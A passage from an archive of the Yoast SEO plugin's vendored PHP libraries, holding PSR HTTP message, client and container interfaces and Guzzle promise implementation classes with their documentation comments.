interface RequestInterface extends \YoastSEO_Vendor\Psr\Http\Message\MessageInterface
{
    /**
     * Retrieves the message's request target.
     *
     * Retrieves the message's request-target either as it will appear (for
     * clients), as it appeared at request (for servers), or as it was
     * specified for the instance (see withRequestTarget()).
     *
     * In most cases, this will be the origin-form of the composed URI,
     * unless a value was provided to the concrete implementation (see
     * withRequestTarget() below).
     *
     * If no URI is available, and no request-target has been specifically
     * provided, this method MUST return the string "/".
     *
     * @return string
     */
    public function getRequestTarget() : string;
    /**
     * Return an instance with the specific request-target.
     *
     * If the request needs a non-origin-form request-target — e.g., for
     * specifying an absolute-form, authority-form, or asterisk-form —
     * this method may be used to create an instance with the specified
     * request-target, verbatim.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * changed request target.
     *
     * @link http://tools.ietf.org/html/rfc7230#section-5.3 (for the various
     *     request-target forms allowed in request messages)
     * @param string $requestTarget
     * @return static
     */
    public function withRequestTarget(string $requestTarget) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
    /**
     * Retrieves the HTTP method of the request.
     *
     * @return string Returns the request method.
     */
    public function getMethod() : string;
    /**
     * Return an instance with the provided HTTP method.
     *
     * While HTTP method names are typically all uppercase characters, HTTP
     * method names are case-sensitive and thus implementations SHOULD NOT
     * modify the given string.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * changed request method.
     *
     * @param string $method Case-sensitive method.
     * @return static
     * @throws \InvalidArgumentException for invalid HTTP methods.
     */
    public function withMethod(string $method) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
    /**
     * Retrieves the URI instance.
     *
     * This method MUST return a UriInterface instance.
     *
     * @link http://tools.ietf.org/html/rfc3986#section-4.3
     * @return UriInterface Returns a UriInterface instance
     *     representing the URI of the request.
     */
    public function getUri() : \YoastSEO_Vendor\Psr\Http\Message\UriInterface;
    /**
     * Returns an instance with the provided URI.
     *
     * This method MUST update the Host header of the returned request by
     * default if the URI contains a host component. If the URI does not
     * contain a host component, any pre-existing Host header MUST be carried
     * over to the returned request.
     *
     * You can opt-in to preserving the original state of the Host header by
     * setting `$preserveHost` to `true`. When `$preserveHost` is set to
     * `true`, this method interacts with the Host header in the following ways:
     *
     * - If the Host header is missing or empty, and the new URI contains
     *   a host component, this method MUST update the Host header in the returned
     *   request.
     * - If the Host header is missing or empty, and the new URI does not contain a
     *   host component, this method MUST NOT update the Host header in the returned
     *   request.
     * - If a Host header is present and non-empty, this method MUST NOT update
     *   the Host header in the returned request.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new UriInterface instance.
     *
     * @link http://tools.ietf.org/html/rfc3986#section-4.3
     * @param UriInterface $uri New request URI to use.
     * @param bool $preserveHost Preserve the original state of the Host header.
     * @return static
     */
    public function withUri(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, bool $preserveHost = \false) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
}
wordpress-seo/vendor_prefixed/psr/http-message/src/StreamInterface.php000064400000011414147510273100022325 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

/**
 * Describes a data stream.
 *
 * Typically, an instance will wrap a PHP stream; this interface provides
 * a wrapper around the most common operations, including serialization of
 * the entire stream to a string.
 */
interface StreamInterface
{
    /**
     * Reads all data from the stream into a string, from the beginning to end.
     *
     * This method MUST attempt to seek to the beginning of the stream before
     * reading data and read the stream until the end is reached.
     *
     * Warning: This could attempt to load a large amount of data into memory.
     *
     * This method MUST NOT raise an exception in order to conform with PHP's
     * string casting operations.
     *
     * @see http://php.net/manual/en/language.oop5.magic.php#object.tostring
     * @return string
     */
    public function __toString() : string;
    /**
     * Closes the stream and any underlying resources.
     *
     * @return void
     */
    public function close() : void;
    /**
     * Separates any underlying resources from the stream.
     *
     * After the stream has been detached, the stream is in an unusable state.
     *
     * @return resource|null Underlying PHP stream, if any
     */
    public function detach();
    /**
     * Get the size of the stream if known.
     *
     * @return int|null Returns the size in bytes if known, or null if unknown.
     */
    public function getSize() : ?int;
    /**
     * Returns the current position of the file read/write pointer
     *
     * @return int Position of the file pointer
     * @throws \RuntimeException on error.
     */
    public function tell() : int;
    /**
     * Returns true if the stream is at the end of the stream.
     *
     * @return bool
     */
    public function eof() : bool;
    /**
     * Returns whether or not the stream is seekable.
     *
     * @return bool
     */
    public function isSeekable() : bool;
    /**
     * Seek to a position in the stream.
     *
     * @link http://www.php.net/manual/en/function.fseek.php
     * @param int $offset Stream offset
     * @param int $whence Specifies how the cursor position will be calculated
     *     based on the seek offset. Valid values are identical to the built-in
     *     PHP $whence values for `fseek()`.  SEEK_SET: Set position equal to
     *     offset bytes SEEK_CUR: Set position to current location plus offset
     *     SEEK_END: Set position to end-of-stream plus offset.
     * @throws \RuntimeException on failure.
     */
    public function seek(int $offset, int $whence = \SEEK_SET) : void;
    /**
     * Seek to the beginning of the stream.
     *
     * If the stream is not seekable, this method will raise an exception;
     * otherwise, it will perform a seek(0).
     *
     * @see seek()
     * @link http://www.php.net/manual/en/function.fseek.php
     * @throws \RuntimeException on failure.
     */
    public function rewind() : void;
    /**
     * Returns whether or not the stream is writable.
     *
     * @return bool
     */
    public function isWritable() : bool;
    /**
     * Write data to the stream.
     *
     * @param string $string The string that is to be written.
     * @return int Returns the number of bytes written to the stream.
     * @throws \RuntimeException on failure.
     */
    public function write(string $string) : int;
    /**
     * Returns whether or not the stream is readable.
     *
     * @return bool
     */
    public function isReadable() : bool;
    /**
     * Read data from the stream.
     *
     * @param int $length Read up to $length bytes from the object and return
     *     them. Fewer than $length bytes may be returned if underlying stream
     *     call returns fewer bytes.
     * @return string Returns the data read from the stream, or an empty string
     *     if no bytes are available.
     * @throws \RuntimeException if an error occurs.
     */
    public function read(int $length) : string;
    /**
     * Returns the remaining contents in a string
     *
     * @return string
     * @throws \RuntimeException if unable to read or an error occurs while
     *     reading.
     */
    public function getContents() : string;
    /**
     * Get stream metadata as an associative array or retrieve a specific key.
     *
     * The keys returned are identical to the keys returned from PHP's
     * stream_get_meta_data() function.
     *
     * @link http://php.net/manual/en/function.stream-get-meta-data.php
     * @param string|null $key Specific metadata to retrieve.
     * @return array|mixed|null Returns an associative array if no key is
     *     provided. Returns a specific key value if a key is provided and the
     *     value is found, or null if the key is not found.
     */
    public function getMetadata(?string $key = null);
}
wordpress-seo/vendor_prefixed/psr/http-client/src/ClientInterface.php000064400000001150147510273100022136 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Client;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
interface ClientInterface
{
    /**
     * Sends a PSR-7 request and returns a PSR-7 response.
     *
     * @param RequestInterface $request
     *
     * @return ResponseInterface
     *
     * @throws \Psr\Http\Client\ClientExceptionInterface If an error happens while processing the request.
     */
    public function sendRequest(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
}
wordpress-seo/vendor_prefixed/psr/http-client/src/NetworkExceptionInterface.php000064400000001365147510273100024240 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Client;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * Thrown when the request cannot be completed because of network issues.
 *
 * There is no response object as this exception is thrown when no response has been received.
 *
 * Example: the target host name can not be resolved or the connection failed.
 */
interface NetworkExceptionInterface extends \YoastSEO_Vendor\Psr\Http\Client\ClientExceptionInterface
{
    /**
     * Returns the request.
     *
     * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
     *
     * @return RequestInterface
     */
    public function getRequest() : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
}
wordpress-seo/vendor_prefixed/psr/http-client/src/ClientExceptionInterface.php000064400000000273147510273100024022 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Client;

/**
 * Every HTTP client related exception MUST implement this interface.
 */
interface ClientExceptionInterface extends \Throwable
{
}
wordpress-seo/vendor_prefixed/psr/http-client/src/RequestExceptionInterface.php000064400000001255147510273100024235 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Client;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * Exception for when a request failed.
 *
 * Examples:
 *      - Request is invalid (e.g. method is missing)
 *      - Runtime request errors (e.g. the body stream is not seekable)
 */
interface RequestExceptionInterface extends \YoastSEO_Vendor\Psr\Http\Client\ClientExceptionInterface
{
    /**
     * Returns the request.
     *
     * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
     *
     * @return RequestInterface
     */
    public function getRequest() : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
}
wordpress-seo/vendor_prefixed/psr/container/src/NotFoundExceptionInterface.php000064400000000457147510273100024073 0ustar00<?php

/**
 * @license http://www.opensource.org/licenses/mit-license.php MIT (see the LICENSE file)
 */
namespace YoastSEO_Vendor\Psr\Container;

/**
 * No entry was found in the container.
 */
interface NotFoundExceptionInterface extends \YoastSEO_Vendor\Psr\Container\ContainerExceptionInterface
{
}
wordpress-seo/vendor_prefixed/psr/container/src/ContainerInterface.php000064400000002131147510273100022371 0ustar00<?php

/**
 * @license http://www.opensource.org/licenses/mit-license.php MIT (see the LICENSE file)
 */
namespace YoastSEO_Vendor\Psr\Container;

/**
 * Describes the interface of a container that exposes methods to read its entries.
 */
interface ContainerInterface
{
    /**
     * Finds an entry of the container by its identifier and returns it.
     *
     * @param string $id Identifier of the entry to look for.
     *
     * @throws NotFoundExceptionInterface  No entry was found for **this** identifier.
     * @throws ContainerExceptionInterface Error while retrieving the entry.
     *
     * @return mixed Entry.
     */
    public function get($id);
    /**
     * Returns true if the container can return an entry for the given identifier.
     * Returns false otherwise.
     *
     * `has($id)` returning true does not mean that `get($id)` will not throw an exception.
     * It does however mean that `get($id)` will not throw a `NotFoundExceptionInterface`.
     *
     * @param string $id Identifier of the entry to look for.
     *
     * @return bool
     */
    public function has($id);
}
wordpress-seo/vendor_prefixed/psr/container/src/ContainerExceptionInterface.php000064400000000410147510273100024246 0ustar00<?php

/**
 * @license http://www.opensource.org/licenses/mit-license.php MIT (see the LICENSE file)
 */
namespace YoastSEO_Vendor\Psr\Container;

/**
 * Base interface representing a generic exception in a container.
 */
interface ContainerExceptionInterface
{
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/RejectedPromise.php000064400000004663147510273100023221 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * A promise that has been rejected.
 *
 * Thenning off of this promise will invoke the onRejected callback
 * immediately and ignore other callbacks.
 *
 * @final
 */
class RejectedPromise implements \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
{
    private $reason;
    /**
     * @param mixed $reason
     */
    public function __construct($reason)
    {
        if (\is_object($reason) && \method_exists($reason, 'then')) {
            throw new \InvalidArgumentException('You cannot create a RejectedPromise with a promise.');
        }
        $this->reason = $reason;
    }
    public function then(callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        // If there's no onRejected callback then just return self.
        if (!$onRejected) {
            return $this;
        }
        $queue = \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue();
        $reason = $this->reason;
        $p = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise([$queue, 'run']);
        $queue->add(static function () use($p, $reason, $onRejected) : void {
            if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($p)) {
                try {
                    // Return a resolved promise if onRejected does not throw.
                    $p->resolve($onRejected($reason));
                } catch (\Throwable $e) {
                    // onRejected threw, so return a rejected promise.
                    $p->reject($e);
                }
            }
        });
        return $p;
    }
    public function otherwise(callable $onRejected) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->then(null, $onRejected);
    }
    public function wait(bool $unwrap = \true)
    {
        if ($unwrap) {
            throw \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($this->reason);
        }
        return null;
    }
    public function getState() : string
    {
        return self::REJECTED;
    }
    public function resolve($value) : void
    {
        throw new \LogicException('Cannot resolve a rejected promise');
    }
    public function reject($reason) : void
    {
        if ($reason !== $this->reason) {
            throw new \LogicException('Cannot reject a rejected promise');
        }
    }
    public function cancel() : void
    {
        // pass
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/Is.php000064400000002336147510273100020503 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

final class Is
{
    /**
     * Returns true if a promise is pending.
     */
    public static function pending(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise) : bool
    {
        return $promise->getState() === \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::PENDING;
    }
    /**
     * Returns true if a promise is fulfilled or rejected.
     */
    public static function settled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise) : bool
    {
        return $promise->getState() !== \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::PENDING;
    }
    /**
     * Returns true if a promise is fulfilled.
     */
    public static function fulfilled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise) : bool
    {
        return $promise->getState() === \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::FULFILLED;
    }
    /**
     * Returns true if a promise is rejected.
     */
    public static function rejected(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise) : bool
    {
        return $promise->getState() === \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::REJECTED;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/EachPromise.php000064400000016566147510273100022341 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * Represents a promise that iterates over many promises and invokes
 * side-effect functions in the process.
 *
 * @final
 */
class EachPromise implements \YoastSEO_Vendor\GuzzleHttp\Promise\PromisorInterface
{
    private $pending = [];
    private $nextPendingIndex = 0;
    /** @var \Iterator|null */
    private $iterable;
    /** @var callable|int|null */
    private $concurrency;
    /** @var callable|null */
    private $onFulfilled;
    /** @var callable|null */
    private $onRejected;
    /** @var Promise|null */
    private $aggregate;
    /** @var bool|null */
    private $mutex;
    /**
     * Configuration hash can include the following key value pairs:
     *
     * - fulfilled: (callable) Invoked when a promise fulfills. The function
     *   is invoked with three arguments: the fulfillment value, the index
     *   position from the iterable list of the promise, and the aggregate
     *   promise that manages all of the promises. The aggregate promise may
     *   be resolved from within the callback to short-circuit the promise.
     * - rejected: (callable) Invoked when a promise is rejected. The
     *   function is invoked with three arguments: the rejection reason, the
     *   index position from the iterable list of the promise, and the
     *   aggregate promise that manages all of the promises. The aggregate
     *   promise may be resolved from within the callback to short-circuit
     *   the promise.
     * - concurrency: (integer) Pass this configuration option to limit the
     *   allowed number of outstanding concurrently executing promises,
     *   creating a capped pool of promises. There is no limit by default.
     *
     * @param mixed $iterable Promises or values to iterate.
     * @param array $config   Configuration options
     */
    public function __construct($iterable, array $config = [])
    {
        $this->iterable = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::iterFor($iterable);
        if (isset($config['concurrency'])) {
            $this->concurrency = $config['concurrency'];
        }
        if (isset($config['fulfilled'])) {
            $this->onFulfilled = $config['fulfilled'];
        }
        if (isset($config['rejected'])) {
            $this->onRejected = $config['rejected'];
        }
    }
    /** @psalm-suppress InvalidNullableReturnType */
    public function promise() : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        if ($this->aggregate) {
            return $this->aggregate;
        }
        try {
            $this->createPromise();
            /** @psalm-assert Promise $this->aggregate */
            $this->iterable->rewind();
            $this->refillPending();
        } catch (\Throwable $e) {
            $this->aggregate->reject($e);
        }
        /**
         * @psalm-suppress NullableReturnStatement
         */
        return $this->aggregate;
    }
    private function createPromise() : void
    {
        $this->mutex = \false;
        $this->aggregate = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise(function () : void {
            if ($this->checkIfFinished()) {
                return;
            }
            \reset($this->pending);
            // Consume a potentially fluctuating list of promises while
            // ensuring that indexes are maintained (precluding array_shift).
            while ($promise = \current($this->pending)) {
                \next($this->pending);
                $promise->wait();
                if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($this->aggregate)) {
                    return;
                }
            }
        });
        // Clear the references when the promise is resolved.
        $clearFn = function () : void {
            $this->iterable = $this->concurrency = $this->pending = null;
            $this->onFulfilled = $this->onRejected = null;
            $this->nextPendingIndex = 0;
        };
        $this->aggregate->then($clearFn, $clearFn);
    }
    private function refillPending() : void
    {
        if (!$this->concurrency) {
            // Add all pending promises.
            while ($this->addPending() && $this->advanceIterator()) {
            }
            return;
        }
        // Add only up to N pending promises.
        $concurrency = \is_callable($this->concurrency) ? ($this->concurrency)(\count($this->pending)) : $this->concurrency;
        $concurrency = \max($concurrency - \count($this->pending), 0);
        // Concurrency may be set to 0 to disallow new promises.
        if (!$concurrency) {
            return;
        }
        // Add the first pending promise.
        $this->addPending();
        // Note this is special handling for concurrency=1 so that we do
        // not advance the iterator after adding the first promise. This
        // helps work around issues with generators that might not have the
        // next value to yield until promise callbacks are called.
        while (--$concurrency && $this->advanceIterator() && $this->addPending()) {
        }
    }
    private function addPending() : bool
    {
        if (!$this->iterable || !$this->iterable->valid()) {
            return \false;
        }
        $promise = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($this->iterable->current());
        $key = $this->iterable->key();
        // Iterable keys may not be unique, so we use a counter to
        // guarantee uniqueness
        $idx = $this->nextPendingIndex++;
        $this->pending[$idx] = $promise->then(function ($value) use($idx, $key) : void {
            if ($this->onFulfilled) {
                ($this->onFulfilled)($value, $key, $this->aggregate);
            }
            $this->step($idx);
        }, function ($reason) use($idx, $key) : void {
            if ($this->onRejected) {
                ($this->onRejected)($reason, $key, $this->aggregate);
            }
            $this->step($idx);
        });
        return \true;
    }
    private function advanceIterator() : bool
    {
        // Place a lock on the iterator so that we ensure to not recurse,
        // preventing fatal generator errors.
        if ($this->mutex) {
            return \false;
        }
        $this->mutex = \true;
        try {
            $this->iterable->next();
            $this->mutex = \false;
            return \true;
        } catch (\Throwable $e) {
            $this->aggregate->reject($e);
            $this->mutex = \false;
            return \false;
        }
    }
    private function step(int $idx) : void
    {
        // If the promise was already resolved, then ignore this step.
        if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($this->aggregate)) {
            return;
        }
        unset($this->pending[$idx]);
        // Only refill pending promises if we are not locked, preventing the
        // EachPromise to recursively invoke the provided iterator, which
        // cause a fatal error: "Cannot resume an already running generator"
        if ($this->advanceIterator() && !$this->checkIfFinished()) {
            // Add more pending promises if possible.
            $this->refillPending();
        }
    }
    private function checkIfFinished() : bool
    {
        if (!$this->pending && !$this->iterable->valid()) {
            // Resolve the promise if there's nothing left to do.
            $this->aggregate->resolve(null);
            return \true;
        }
        return \false;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/Coroutine.php000064400000010412147510273100022071 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

use Generator;
use Throwable;
/**
 * Creates a promise that is resolved using a generator that yields values or
 * promises (somewhat similar to C#'s async keyword).
 *
 * When called, the Coroutine::of method will start an instance of the generator
 * and returns a promise that is fulfilled with its final yielded value.
 *
 * Control is returned back to the generator when the yielded promise settles.
 * This can lead to less verbose code when doing lots of sequential async calls
 * with minimal processing in between.
 *
 *     use GuzzleHttp\Promise;
 *
 *     function createPromise($value) {
 *         return new Promise\FulfilledPromise($value);
 *     }
 *
 *     $promise = Promise\Coroutine::of(function () {
 *         $value = (yield createPromise('a'));
 *         try {
 *             $value = (yield createPromise($value . 'b'));
 *         } catch (\Throwable $e) {
 *             // The promise was rejected.
 *         }
 *         yield $value . 'c';
 *     });
 *
 *     // Outputs "abc"
 *     $promise->then(function ($v) { echo $v; });
 *
 * @param callable $generatorFn Generator function to wrap into a promise.
 *
 * @return Promise
 *
 * @see https://github.com/petkaantonov/bluebird/blob/master/API.md#generators inspiration
 */
final class Coroutine implements \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
{
    /**
     * @var PromiseInterface|null
     */
    private $currentPromise;
    /**
     * @var Generator
     */
    private $generator;
    /**
     * @var Promise
     */
    private $result;
    public function __construct(callable $generatorFn)
    {
        $this->generator = $generatorFn();
        $this->result = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise(function () : void {
            while (isset($this->currentPromise)) {
                $this->currentPromise->wait();
            }
        });
        try {
            $this->nextCoroutine($this->generator->current());
        } catch (\Throwable $throwable) {
            $this->result->reject($throwable);
        }
    }
    /**
     * Create a new coroutine.
     */
    public static function of(callable $generatorFn) : self
    {
        return new self($generatorFn);
    }
    public function then(callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->result->then($onFulfilled, $onRejected);
    }
    public function otherwise(callable $onRejected) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->result->otherwise($onRejected);
    }
    public function wait(bool $unwrap = \true)
    {
        return $this->result->wait($unwrap);
    }
    public function getState() : string
    {
        return $this->result->getState();
    }
    public function resolve($value) : void
    {
        $this->result->resolve($value);
    }
    public function reject($reason) : void
    {
        $this->result->reject($reason);
    }
    public function cancel() : void
    {
        $this->currentPromise->cancel();
        $this->result->cancel();
    }
    private function nextCoroutine($yielded) : void
    {
        $this->currentPromise = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($yielded)->then([$this, '_handleSuccess'], [$this, '_handleFailure']);
    }
    /**
     * @internal
     */
    public function _handleSuccess($value) : void
    {
        unset($this->currentPromise);
        try {
            $next = $this->generator->send($value);
            if ($this->generator->valid()) {
                $this->nextCoroutine($next);
            } else {
                $this->result->resolve($value);
            }
        } catch (\Throwable $throwable) {
            $this->result->reject($throwable);
        }
    }
    /**
     * @internal
     */
    public function _handleFailure($reason) : void
    {
        unset($this->currentPromise);
        try {
            $nextYield = $this->generator->throw(\YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($reason));
            // The throw was caught, so keep iterating on the coroutine
            $this->nextCoroutine($nextYield);
        } catch (\Throwable $throwable) {
            $this->result->reject($throwable);
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/Utils.php000064400000021320147510273100021222 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

final class Utils
{
    /**
     * Get the global task queue used for promise resolution.
     *
     * This task queue MUST be run in an event loop in order for promises to be
     * settled asynchronously. It will be automatically run when synchronously
     * waiting on a promise.
     *
     * <code>
     * while ($eventLoop->isRunning()) {
     *     GuzzleHttp\Promise\Utils::queue()->run();
     * }
     * </code>
     *
     * @param TaskQueueInterface|null $assign Optionally specify a new queue instance.
     */
    public static function queue(\YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface $assign = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface
    {
        static $queue;
        if ($assign) {
            $queue = $assign;
        } elseif (!$queue) {
            $queue = new \YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueue();
        }
        return $queue;
    }
    /**
     * Adds a function to run in the task queue when it is next `run()` and
     * returns a promise that is fulfilled or rejected with the result.
     *
     * @param callable $task Task function to run.
     */
    public static function task(callable $task) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $queue = self::queue();
        $promise = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise([$queue, 'run']);
        $queue->add(function () use($task, $promise) : void {
            try {
                if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($promise)) {
                    $promise->resolve($task());
                }
            } catch (\Throwable $e) {
                $promise->reject($e);
            }
        });
        return $promise;
    }
    /**
     * Synchronously waits on a promise to resolve and returns an inspection
     * state array.
     *
     * Returns a state associative array containing a "state" key mapping to a
     * valid promise state. If the state of the promise is "fulfilled", the
     * array will contain a "value" key mapping to the fulfilled value of the
     * promise. If the promise is rejected, the array will contain a "reason"
     * key mapping to the rejection reason of the promise.
     *
     * @param PromiseInterface $promise Promise or value.
     */
    public static function inspect(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise) : array
    {
        try {
            return ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::FULFILLED, 'value' => $promise->wait()];
        } catch (\YoastSEO_Vendor\GuzzleHttp\Promise\RejectionException $e) {
            return ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::REJECTED, 'reason' => $e->getReason()];
        } catch (\Throwable $e) {
            return ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::REJECTED, 'reason' => $e];
        }
    }
    /**
     * Waits on all of the provided promises, but does not unwrap rejected
     * promises as thrown exception.
     *
     * Returns an array of inspection state arrays.
     *
     * @see inspect for the inspection state array format.
     *
     * @param PromiseInterface[] $promises Traversable of promises to wait upon.
     */
    public static function inspectAll($promises) : array
    {
        $results = [];
        foreach ($promises as $key => $promise) {
            $results[$key] = self::inspect($promise);
        }
        return $results;
    }
    /**
     * Waits on all of the provided promises and returns the fulfilled values.
     *
     * Returns an array that contains the value of each promise (in the same
     * order the promises were provided). An exception is thrown if any of the
     * promises are rejected.
     *
     * @param iterable<PromiseInterface> $promises Iterable of PromiseInterface objects to wait on.
     *
     * @throws \Throwable on error
     */
    public static function unwrap($promises) : array
    {
        $results = [];
        foreach ($promises as $key => $promise) {
            $results[$key] = $promise->wait();
        }
        return $results;
    }
    /**
     * Given an array of promises, return a promise that is fulfilled when all
     * the items in the array are fulfilled.
     *
     * The promise's fulfillment value is an array with fulfillment values at
     * respective positions to the original array. If any promise in the array
     * rejects, the returned promise is rejected with the rejection reason.
     *
     * @param mixed $promises  Promises or values.
     * @param bool  $recursive If true, resolves new promises that might have been added to the stack during its own resolution.
     */
    public static function all($promises, bool $recursive = \false) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $results = [];
        $promise = \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($promises, function ($value, $idx) use(&$results) : void {
            $results[$idx] = $value;
        }, function ($reason, $idx, \YoastSEO_Vendor\GuzzleHttp\Promise\Promise $aggregate) : void {
            $aggregate->reject($reason);
        })->then(function () use(&$results) {
            \ksort($results);
            return $results;
        });
        if (\true === $recursive) {
            $promise = $promise->then(function ($results) use($recursive, &$promises) {
                foreach ($promises as $promise) {
                    if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::pending($promise)) {
                        return self::all($promises, $recursive);
                    }
                }
                return $results;
            });
        }
        return $promise;
    }
    /**
     * Initiate a competitive race between multiple promises or values (values
     * will become immediately fulfilled promises).
     *
     * When count amount of promises have been fulfilled, the returned promise
     * is fulfilled with an array that contains the fulfillment values of the
     * winners in order of resolution.
     *
     * This promise is rejected with a {@see AggregateException} if the number
     * of fulfilled promises is less than the desired $count.
     *
     * @param int   $count    Total number of promises.
     * @param mixed $promises Promises or values.
     */
    public static function some(int $count, $promises) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $results = [];
        $rejections = [];
        return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($promises, function ($value, $idx, \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $p) use(&$results, $count) : void {
            if (\YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($p)) {
                return;
            }
            $results[$idx] = $value;
            if (\count($results) >= $count) {
                $p->resolve(null);
            }
        }, function ($reason) use(&$rejections) : void {
            $rejections[] = $reason;
        })->then(function () use(&$results, &$rejections, $count) {
            if (\count($results) !== $count) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Promise\AggregateException('Not enough promises to fulfill count', $rejections);
            }
            \ksort($results);
            return \array_values($results);
        });
    }
    /**
     * Like some(), with 1 as count. However, if the promise fulfills, the
     * fulfillment value is not an array of 1 but the value directly.
     *
     * @param mixed $promises Promises or values.
     */
    public static function any($promises) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return self::some(1, $promises)->then(function ($values) {
            return $values[0];
        });
    }
    /**
     * Returns a promise that is fulfilled when all of the provided promises have
     * been fulfilled or rejected.
     *
     * The returned promise is fulfilled with an array of inspection state arrays.
     *
     * @see inspect for the inspection state array format.
     *
     * @param mixed $promises Promises or values.
     */
    public static function settle($promises) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $results = [];
        return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($promises, function ($value, $idx) use(&$results) : void {
            $results[$idx] = ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::FULFILLED, 'value' => $value];
        }, function ($reason, $idx) use(&$results) : void {
            $results[$idx] = ['state' => \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface::REJECTED, 'reason' => $reason];
        })->then(function () use(&$results) {
            \ksort($results);
            return $results;
        });
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/Promise.php000064400000022177147510273100021553 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Promise;

/**
 * Promises/A+ implementation that avoids recursion when possible.
 *
 * @see https://promisesaplus.com/
 *
 * @final
 */
class Promise implements \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
{
    private $state = self::PENDING;
    private $result;
    private $cancelFn;
    private $waitFn;
    private $waitList;
    private $handlers = [];
    /**
     * @param callable $waitFn   Fn that when invoked resolves the promise.
     * @param callable $cancelFn Fn that when invoked cancels the promise.
     */
